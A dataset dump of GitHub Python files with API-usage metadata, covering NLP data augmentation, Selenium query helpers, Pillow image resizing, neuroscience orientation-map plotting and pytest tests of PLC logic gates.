"usage_type": "call"}, {"api_name": "PIL.ImageFont.load_default", "line_number": 209, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 209, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 222, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 221, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 224, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 224, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 231, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 231, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 233, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 233, "usage_type": "name"}, {"api_name": "PIL.Image.Image", "line_number": 224, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 224, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 243, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 246, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 249, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 264, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 249, "usage_type": "name"}, {"api_name": "obb_anns.OBBAnns", "line_number": 249, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 277, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 277, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 277, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 278, "usage_type": "call"}, {"api_name": "obb_anns.OBBAnns", "line_number": 283, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 292, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 293, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 297, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 297, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 299, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 299, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 301, "usage_type": "call"}, {"api_name": "os.link", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 335, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 344, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 344, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 277, "usage_type": "name"}, {"api_name": "obb_anns.OBBAnns", "line_number": 277, "usage_type": "name"}, {"api_name": "tqdm.trange", "line_number": 360, "usage_type": "call"}, {"api_name": "requests.HTTPError", "line_number": 364, "usage_type": "name"}, {"api_name": "tqdm.tqdm.write", "line_number": 367, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 367, "usage_type": "name"}]} {"seq_id": "1058743070", "text": "import json\nimport multiprocessing\nimport spacy\nimport sys\nimport gzip\nfrom termcolor import colored\nimport text_analyse\n\nALLOWED_PARALLEL_PROCESS = 8\nUKP_SERVER = 'http://krusty.ukp.informatik.tu-darmstadt.de'\nUKP_SERVER_NED = \"http://ned.ukp.informatik.tu-darmstadt.de\"\nLOCALHOST = \"http://localhost\"\nnlp = spacy.load('en_core_web_sm')\n\n\ndef process_example(example_dict, doc_index):\n print(colored((\"example \" + str(doc_index)), 'yellow'))\n context = example_dict['context']\n ner_dict = text_analyse.get_ner_spacy_stanford(context)\n\n augment_context = \" [EST] \"\n for ne_name in ner_dict.keys():\n augment_context += ne_name + \" [ESP] \"\n\n augment_context = augment_context[:-7] + \" [EED]\"\n example_dict['context'] = context + augment_context\n return example_dict\n\n\nif __name__ == '__main__':\n src_path = sys.argv[1]\n res = []\n pool = multiprocessing.Pool(processes=ALLOWED_PARALLEL_PROCESS)\n doc_index = 0\n with gzip.open(src_path, 'rt') as f_src, open(src_path+\"_arg\", 'w') as f_out:\n json.dump(next(f_out))\n for line in f_src:\n example = json.loads(line)\n res.append(process_example(example, doc_index))\n #res.append(pool.apply_async(process_example, (example, doc_index, )))\n doc_index += 1\n # pool.close()\n # pool.join()\n # print(\"the end!\")\n\n# with gzip.open(src_path+'_aug', 'wt') as f_out:\n f_out.write(\"\\n\")\n for new_example in res:\n json.dump(new_example, f_out)\n #json.dump(new_example.get(timeout=1), fw)\n f_out.write('\\n')\n\n", "repo_name": "mingzhu-wu/data-augmentation", "sub_path": "data_augmentation.py", "file_name": "data_augmentation.py", "file_ext": "py", "file_size_in_byte": 1607, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "spacy.load", "line_number": 13, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 17, "usage_type": "call"}, {"api_name": "text_analyse.get_ner_spacy_stanford", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "multiprocessing.Pool", "line_number": 33, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 35, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 36, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 38, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 49, "usage_type": "call"}]} {"seq_id": "42630901465", "text": "import numpy as np\nimport torch\nfrom torch.autograd import Variable\n\ntensor = torch.FloatTensor([[1,2],[3,4]])\nvariable = Variable(tensor,requires_grad=True) #requires_grad會自動計算gradient(Backpropagation)\n\nt_out = torch.mean(tensor*tensor) # tensor不能反向傳播\nv_out = torch.mean(variable*variable)\n\nprint(t_out)\nprint(v_out)\n\nv_out.backward()\nprint(variable)", "repo_name": "stu00608/Learning_Python", "sub_path": "ML/torch/practice.py", "file_name": "practice.py", "file_ext": "py", "file_size_in_byte": 373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.FloatTensor", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 9, "usage_type": "call"}]} {"seq_id": "19423714569", "text": "# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom noseapp.utils.common import waiting_for\nfrom noseapp.utils.common import TimeoutException\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.remote.webelement import WebElement\nfrom selenium.common.exceptions import NoSuchElementException\n\n\nlogger = logging.getLogger(__name__)\n\n\nDEFAULT_SLEEP = 0.01\nDEFAULT_WAIT_TIMEOUT = 30\n\n\ndef _error_handler(e, client, css):\n \"\"\"\n To extend error message\n \"\"\"\n prefix = u' ' if e.message else u''\n\n if isinstance(client, WebElement):\n e.message += u'{}QueryProcessor(From: {}, CSS: {})\\n\\n--\\nSEARCH AREA: {}\\n--\\n'.format(\n prefix,\n repr(client),\n css,\n client.get_attribute('innerHTML'),\n )\n else:\n e.message += u'{}QueryProcessor(From: {}, CSS: {})'.format(\n prefix,\n repr(client),\n css,\n )\n\n\ndef _execute(client, css, get_all=False, allow_polling=True):\n \"\"\"\n Execute css query\n \"\"\"\n logger.debug(u'CSS: {} Get all: {}'.format(css, 'Yes' if get_all else 'No'))\n\n css_executors = {\n True: 'find_elements_by_css_selector',\n False: 'find_element_by_css_selector',\n }\n\n try:\n if allow_polling:\n result = getattr(client, css_executors[bool(get_all)])(css)\n elif hasattr(client, 'disable_polling'):\n with client.disable_polling():\n result = getattr(client, css_executors[bool(get_all)])(css)\n else:\n result = getattr(client, css_executors[bool(get_all)])(css)\n\n return result\n\n except WebDriverException as e:\n _error_handler(e, client, css)\n raise\n\n\nclass QueryResult(object):\n \"\"\"\n Execute actions by css query and returning result\n \"\"\"\n\n def __init__(self, client, css):\n self._client = client\n self._css = css\n\n def __getattr__(self, item):\n return getattr(\n self._client.query.__class__(self.first()), item,\n )\n\n @property\n def exist(self):\n \"\"\"\n Check element exist\n \"\"\"\n self._client.config.implicitly_wait(0)\n\n try:\n el = _execute(self._client, self._css, allow_polling=False)\n\n if el:\n self._client.config.apply_implicitly_wait()\n return True\n self._client.config.apply_implicitly_wait()\n return False\n except WebDriverException:\n self._client.config.apply_implicitly_wait()\n return False\n except BaseException:\n self._client.config.apply_implicitly_wait()\n raise\n\n @property\n def with_wait(self):\n self.wait()\n return self\n\n def wait(self, timeout=None, sleep=None):\n \"\"\"\n Waiting for web element exist\n \"\"\"\n try:\n return waiting_for(\n lambda: self.exist,\n sleep=sleep or DEFAULT_SLEEP,\n timeout=timeout or DEFAULT_WAIT_TIMEOUT,\n )\n except TimeoutException:\n raise TimeoutException(\n 'Could not wait web element with css \"{}\"'.format(self._css),\n )\n\n def get(self, index):\n \"\"\"\n Get web element by index\n \"\"\"\n try:\n return _execute(self._client, self._css, get_all=True)[index]\n except IndexError:\n raise NoSuchElementException(\n 'Result does not have element with index \"{}\". Css: \"{}\".'.format(\n index, self._css,\n ),\n )\n\n def first(self):\n \"\"\"\n Get first element on page\n \"\"\"\n return _execute(self._client, self._css)\n\n def all(self):\n \"\"\"\n Get all elements of appropriate query\n \"\"\"\n return _execute(self._client, self._css, get_all=True)\n", "repo_name": "noseapp/noseapp_selenium", "sub_path": "noseapp_selenium/query/result.py", "file_name": "result.py", "file_ext": "py", "file_size_in_byte": 3890, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "selenium.webdriver.remote.webelement.WebElement", "line_number": 25, "usage_type": "argument"}, {"api_name": "selenium.common.exceptions.WebDriverException", "line_number": 62, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.WebDriverException", "line_number": 96, "usage_type": "name"}, {"api_name": "noseapp.utils.common.waiting_for", "line_number": 113, "usage_type": "call"}, {"api_name": "noseapp.utils.common.TimeoutException", "line_number": 118, "usage_type": "name"}, {"api_name": "noseapp.utils.common.TimeoutException", "line_number": 119, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 130, "usage_type": "call"}]} {"seq_id": "41443589332", "text": "from io import BytesIO, SEEK_END\n\nimport attr\nfrom PIL import Image\n\nMAX_EDGE_PIXELS = 1024\nQUALITY = 80\nSUPPORTED_FORMATS = ('JPEG', 'PNG', 'GIF')\nMAX_SIZE_IN_BYTES_AFTER_PROCESSING = 1024 * 1024\nMIN_AREA_TRACKING_PIXEL = 10\n\n\n@attr.s\nclass ImageProcessingResult:\n size_in_bytes: int = attr.ib()\n width: int = attr.ib()\n height: int = attr.ib()\n image_format: str = attr.ib()\n data: BytesIO = attr.ib()\n\n\nclass ImageProcessingError(Exception):\n pass\n\n\ndef process_image_data(data: bytes) -> ImageProcessingResult:\n try:\n image = Image.open(BytesIO(data))\n except OSError as e:\n raise ImageProcessingError('Cannot open image: {}'.format(e))\n\n with image:\n if image.format not in SUPPORTED_FORMATS:\n raise ImageProcessingError(\n 'Unsupported format {}'.format(image.format)\n )\n\n width, height = image.size\n if (width * height) < MIN_AREA_TRACKING_PIXEL:\n raise ImageProcessingError('Tracking pixel')\n\n if image.format == 'GIF':\n # Gif are weird, saving them often fails and the result after\n # compression is sometimes bigger than the original file.\n # Let's just keep the original file.\n data = BytesIO(data)\n else:\n data = BytesIO()\n try:\n image.thumbnail((MAX_EDGE_PIXELS, MAX_EDGE_PIXELS))\n width, height = image.size\n image.save(data, image.format, quality=QUALITY,\n optimize=True, progressive=True)\n except (OSError, EOFError) as e:\n raise ImageProcessingError('Cannot resize image: {}'.format(e))\n\n size_in_bytes = data.seek(0, SEEK_END)\n data.seek(0)\n if size_in_bytes > MAX_SIZE_IN_BYTES_AFTER_PROCESSING:\n raise ImageProcessingError(\n 'Resulting file too big: {} bytes'.format(size_in_bytes)\n )\n\n return ImageProcessingResult(\n size_in_bytes, width, height, image.format, data\n )\n", "repo_name": "NicolasLM/feedsubs", "sub_path": "reader/image_processing.py", "file_name": "image_processing.py", "file_ext": "py", "file_size_in_byte": 2023, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 81, "dataset": "github-code", "pt": "78", "api": [{"api_name": "attr.ib", "line_number": 15, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 16, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 17, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 18, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 19, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 19, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 13, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 28, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 28, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 46, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 48, "usage_type": "call"}, {"api_name": "io.SEEK_END", "line_number": 57, "usage_type": "argument"}]} {"seq_id": "3666896997", "text": "import sys\nimport pathlib\nsys.path.insert(0, str(pathlib.Path(__file__).parent.parent.resolve())) #.. this has to be the folder reCNN_visual_prosthesis\nimport wandb\nimport glob\nimport pytorch_lightning as pl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\n\ndef pickle_read(path):\n with open(path, \"rb\") as f:\n x = pickle.load(f)\n return x\n\ndef pickle_save(path, x):\n with open(path, \"wb\") as f:\n pickle.dump(x, f)\n\ndef circular_distance(a, b, period=np.pi):\n \"\"\"\n Computes circular distance between two angles a and b.\n Changing period it's possible to set the scale (radiants or degrees)\n Written by Luca Baroni\n \"\"\"\n return np.array(\n [min((aa - bb) % period, (bb - aa) % period) for aa, bb in zip(a, b)]\n )\n\ndef rotate_and_compute_distances(a, b, period, n_rot=360):\n \"\"\"\n Rotates array of angles a for n_rot possible angles and computes average\n pairwise circular distance with respect to array of angles b.\n Changing period it's possible to set the scale (radiants or degrees)\n Return array containing average distances for all possible rotations and array of rotations\n Written by Luca Baroni\n \"\"\"\n avg_dist = [\n circular_distance(a + r, b, period).mean()\n for r in np.linspace(0, period, n_rot)[:-1]\n ]\n return [np.array(avg_dist), np.linspace(0, period, n_rot)[:-1]]\n\ndef reconstruct_orientation_maps(x, y, ori, f, ax, save, figsize=10, xlim=None, ylim=None, img_path=\"img/\", suffix=\"\", neuron_dot_size=1):\n \"\"\"\n Reconstructs the orientation map, visualizes it and prints the distribution of \n orientation preferences.\n \"\"\"\n\n plt.gca().set_aspect(\"equal\", adjustable=\"box\")\n plt.gcf().set_size_inches(7.5, 6.5)\n points = ax.scatter(x, y, c=ori, s=neuron_dot_size, cmap=\"hsv\")\n \n if suffix == \"_truth\":\n plt.title(\"An orientation map of the Antolík et al. model\\n\")\n \n if suffix == \"_antolik\":\n plt.title(\"An orientation map of the Antolík et al. model\\nreconstructed by our DNN\\n\")\n\n if suffix == \"_antolik\" or suffix == \"_truth\":\n ax.set_xlabel(\"Spatial dimension x [degrees of visual angle]\")\n ax.set_ylabel(\"Spatial dimension y [degrees of visual angle]\")\n f.colorbar(points).set_label(\"Preferred orientation [degrees]\")\n else:\n plt.title(\"A location and preferred orientation estimates of a mouse\\nrecorded in the Lurz et al. dataset\\n\")\n ax.set_xlabel(\"Normalized spatial dimension x\")\n ax.set_ylabel(\"Normalized spatial dimension y\")\n f.colorbar(points).set_label(\"Preferred orientation [degrees]\")\n\n file_name = \"\"\n if suffix == \"_truth\":\n file_name = img_path + \"true_orientation_map_of_antolik_model\"\n else:\n file_name = img_path + \"reconstructed_orientation_map\" + suffix\n if xlim:\n plt.xlim(-xlim, xlim)\n if ylim:\n plt.ylim(-ylim, ylim)\n \n if save:\n plt.savefig(file_name, dpi = 300)\n print(\"Reconstructed orientation maps are saved in \" + file_name + \".fig\")\n\n plt.show()\n\n\ndef visualize_preferred_orientations(x, y, ori, f, ax, save, figsize=10, xlim=None, ylim=None, img_path=\"img/\", suffix=\"\"):\n\n plt.clf()\n plt.gcf().set_size_inches(6.5, 6.5)\n\n n, bins, patches = plt.hist(ori, bins=20)\n\n cm = plt.cm.get_cmap('hsv')\n bin_centers = 0.5 * (bins[:-1] + bins[1:])\n\n # scale values to interval [0,1]\n col = bin_centers - min(bin_centers)\n col /= max(col)\n\n for c, p in zip(col, patches):\n plt.setp(p, 'facecolor', cm(c))\n \n if suffix == \"_truth\":\n plt.title(\"A distribution of preferred orientations in Antolík et al. model\\n\")\n \n elif suffix == \"_antolik\":\n plt.title(\"A distribution of estimated preferred orientations\\nin Antolík et al. model\\n\")\n\n else:\n plt.title(\"A distribution of estimated preferred orientations\\nin the Lurz et al. dataset\\n\")\n\n plt.xlabel(\"Preferred orientation [degrees]\")\n plt.ylabel(\"Number of neurons\")\n if save:\n plt.savefig(img_path + \"distribution_of_prefered_orientations\" + suffix, dpi = 300)\n print(\"saved\")\n plt.show()\n plt.clf()\n\ndef download_model(artifact_name, model_class):\n run = wandb.init(project=\"reCNN_visual_prosthesis\", entity=\"csng-cuni\")\n pl.seed_everything(42)\n\n artifact = run.use_artifact(\n artifact_name, type=\"model\"\n )\n\n artifact_dir = artifact.download()\n models_paths_list = glob.glob(artifact_dir + \"/*.ckpt\")\n\n m = model_class.load_from_checkpoint(models_paths_list[0])\n m.freeze()\n print(f\"Model from {models_paths_list[0]} loaded!\")\n\n return m\n\ndef get_neuron_estimates(model, scale_factor=1):\n squeezed = model.readout.mu.squeeze(0).squeeze(0).squeeze(1)\n\n data_to_be_plotted = squeezed.cpu().detach().numpy()\n\n x, y, ori = data_to_be_plotted[:, 0], data_to_be_plotted[:, 1], data_to_be_plotted[:, 2]\n\n # our model represents locations on positions from -1 and 1 (in both x and y \n # directions), so we have to scale it to the real values\n # - these values are given by the Antolik's model's characteristics\n x *= scale_factor\n y *= scale_factor\n\n # orientations are between -1 and 1 but there can be outliers that (because of\n # periodicity) have to be shifted to the right location\n # Example: 1.2 goes to -0.8, -1.7 goes to 0.3\n ori = (np.mod((ori + 1), 2) ) - 1 \n\n # we have orientations in all 360 degrees, but in this evaluation it makes sense\n # to treat bars of ori and ori+180 as bars of the same orientation\n # therefore, now we have orientations in a range [0, 1]\n ori = [e if e >= 0 else e+1 for e in ori]\n\n return (x, y, ori)\n\n", "repo_name": "mpicek/reCNN_visual_prosthesis", "sub_path": "experiments/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 5706, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.insert", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 3, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 13, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.get_cmap", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 94, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "wandb.init", "line_number": 122, "usage_type": "call"}, {"api_name": "pytorch_lightning.seed_everything", "line_number": 123, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 154, "usage_type": "call"}]} {"seq_id": "19109955731", "text": "# test_gates_op.py\n\n# Purpose:\n# to test gates operation of codesys\n\n# note:\n# the data are taken from the \"results.scv\" file\n\n# import files/classes\nfrom assign_1_type_to_df_col import AssignType2ListOfDfGrCol\n\n# package\nimport numpy as np\nimport operator\nimport pytest\n\n# Arguments:\npath_in = r\"C:\\Users\\AnastasiosKolovos\\AK\\codesys_me\\python_codesys\\pytest_codesys\\results.csv\"\nremove_str = \"\"\nvar_in0 = \"PLC_PRG.BOOL_A\"\nvar_in1 = \"PLC_PRG.BOOL_B\"\nvar_out0 = \"PLC_PRG.OR_OUT\"\nvar_out1 = \"PLC_PRG.AND_OUT\"\nvar_out2 = \"PLC_PRG.XOR_OUT\"\nvar_out3 = \"PLC_PRG.NAND_OUT\"\nvar_list = np.array ([var_in0, var_in1,var_out0,var_out1,var_out2, var_out3])\ndata_type = \"str\" \n\n\n# call real number input arrays\n# input_a\nobj_AssignType2ListOfDfGrCol0 = AssignType2ListOfDfGrCol(path_in, remove_str, var_list[0], data_type)\nin_a_list = obj_AssignType2ListOfDfGrCol0.assign_bool_to_list()\n\n# input_b\nobj_AssignType2ListOfDfGrCol1 = AssignType2ListOfDfGrCol(path_in, remove_str, var_list[1], data_type)\nin_b_list = obj_AssignType2ListOfDfGrCol1.assign_bool_to_list()\n\n# call real number output arrays\n# or\nobj_AssignType2ListOfDfGrCol2 = AssignType2ListOfDfGrCol(path_in, remove_str, var_list[2], data_type)\nor_list = obj_AssignType2ListOfDfGrCol2.assign_bool_to_list()\n\n# and\nobj_AssignType2ListOfDfGrCol3 = AssignType2ListOfDfGrCol(path_in, remove_str, var_list[3], data_type)\nand_list = obj_AssignType2ListOfDfGrCol3.assign_bool_to_list()\n\n# xor\nobj_AssignType2ListOfDfGrCol4 = AssignType2ListOfDfGrCol(path_in, remove_str, var_list[4], data_type)\nxor_list = obj_AssignType2ListOfDfGrCol4.assign_bool_to_list()\n\n# nand\nobj_AssignType2ListOfDfGrCol5 = AssignType2ListOfDfGrCol(path_in, remove_str, var_list[5], data_type)\nnand_list = obj_AssignType2ListOfDfGrCol5.assign_bool_to_list()\n\n# array of output array:\nlist_of_ouput_lists = np.array([or_list, and_list, xor_list, nand_list])\n\n#print(\"\\n\\n\\n==\", list_of_ouput_lists)\nprint(\"\\n\\n\\n==============================\")\n\n\n# ------------------------------ \n@pytest.mark.parametrize(\n (\"input_a\", \"input_b\", \"output_or\"),\n [\n (in_a_list[0], in_b_list[0], list_of_ouput_lists[0][0]),\n (in_a_list[1], in_b_list[1], list_of_ouput_lists[0][1]),\n (in_a_list[2], in_b_list[2], list_of_ouput_lists[0][2]),\n (in_a_list[3], in_b_list[3], list_of_ouput_lists[0][3]),\n (in_a_list[4], in_b_list[4], list_of_ouput_lists[0][4]),\n ],\n)\n@pytest.mark.gates\ndef test_gate_or(input_a, input_b, output_or):\n\n assert (input_a or input_b) == output_or\n print(\"\\ntest_gate_or: \", input_a, \" or \", input_b, \" = \", output_or)\n\n# ------------------------------ \n@pytest.mark.parametrize(\n (\"input_a\", \"input_b\", \"output_and\"),\n [\n (in_a_list[0], in_b_list[0], list_of_ouput_lists[1][0]),\n (in_a_list[1], in_b_list[1], list_of_ouput_lists[1][1]),\n (in_a_list[2], in_b_list[2], list_of_ouput_lists[1][2]),\n (in_a_list[3], in_b_list[3], list_of_ouput_lists[1][3]),\n (in_a_list[4], in_b_list[4], list_of_ouput_lists[1][4]),\n ],\n)\n@pytest.mark.gates\ndef test_gate_and(input_a, input_b, output_and):\n\n assert (input_a and input_b) == output_and\n print(\"\\ntest_gate_and: \", input_a, \" and \", input_b, \" = \", output_and)\n\n# ------------------------------ \n@pytest.mark.parametrize(\n (\"input_a\", \"input_b\", \"output_xor\"),\n [\n (in_a_list[0], in_b_list[0], list_of_ouput_lists[2][0]),\n (in_a_list[1], in_b_list[1], list_of_ouput_lists[2][1]),\n (in_a_list[2], in_b_list[2], list_of_ouput_lists[2][2]),\n (in_a_list[3], in_b_list[3], list_of_ouput_lists[2][3]),\n (in_a_list[4], in_b_list[4], list_of_ouput_lists[2][4]),\n ],\n)\n@pytest.mark.gates\ndef test_gate_xor(input_a, input_b, output_xor):\n \n assert (input_a ^ input_b) == output_xor\n print(\"\\ntest_gate_xor: \", input_a, \" xor \", input_b, \" = \", output_xor)\n\n# ------------------------------ \n# this is one test pass or fail (with many values tested)\n@pytest.mark.compare\ndef test_xor_compare(input_true):\n\n for output_xor in list_of_ouput_lists[2]:\n \n assert output_xor == input_true\n print(\"\\ntest_xor_compare: \", output_xor, \" == \", input_true)\n\n# ------------------------------ \n\n@pytest.mark.parametrize(\n (\"input_a\", \"input_b\", \"output_nand\"),\n [\n (in_a_list[0], in_b_list[0], list_of_ouput_lists[3][0]),\n (in_a_list[1], in_b_list[1], list_of_ouput_lists[3][1]),\n (in_a_list[2], in_b_list[2], list_of_ouput_lists[3][2]),\n (in_a_list[3], in_b_list[3], list_of_ouput_lists[3][3]),\n (in_a_list[4], in_b_list[4], list_of_ouput_lists[3][4]),\n ],\n)\n@pytest.mark.gates\ndef test_gate_nand(input_a, input_b, output_nand):\n assert not(input_a and input_b) == output_nand\n print(\"\\ntest_gate_nand: \", input_a, \" NAND \", input_b, \" = \", output_nand)\n\n\n", "repo_name": "kolo0225/display_codesys_auto_pytest", "sub_path": "test_gates_op.py", "file_name": "test_gates_op.py", "file_ext": "py", "file_size_in_byte": 4916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "assign_1_type_to_df_col.AssignType2ListOfDfGrCol", "line_number": 32, "usage_type": "call"}, {"api_name": "assign_1_type_to_df_col.AssignType2ListOfDfGrCol", "line_number": 36, "usage_type": "call"}, {"api_name": "assign_1_type_to_df_col.AssignType2ListOfDfGrCol", "line_number": 41, "usage_type": "call"}, {"api_name": "assign_1_type_to_df_col.AssignType2ListOfDfGrCol", "line_number": 45, "usage_type": "call"}, {"api_name": "assign_1_type_to_df_col.AssignType2ListOfDfGrCol", "line_number": 49, "usage_type": "call"}, {"api_name": "assign_1_type_to_df_col.AssignType2ListOfDfGrCol", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 64, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 81, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 91, "usage_type": "attribute"}, {"api_name": 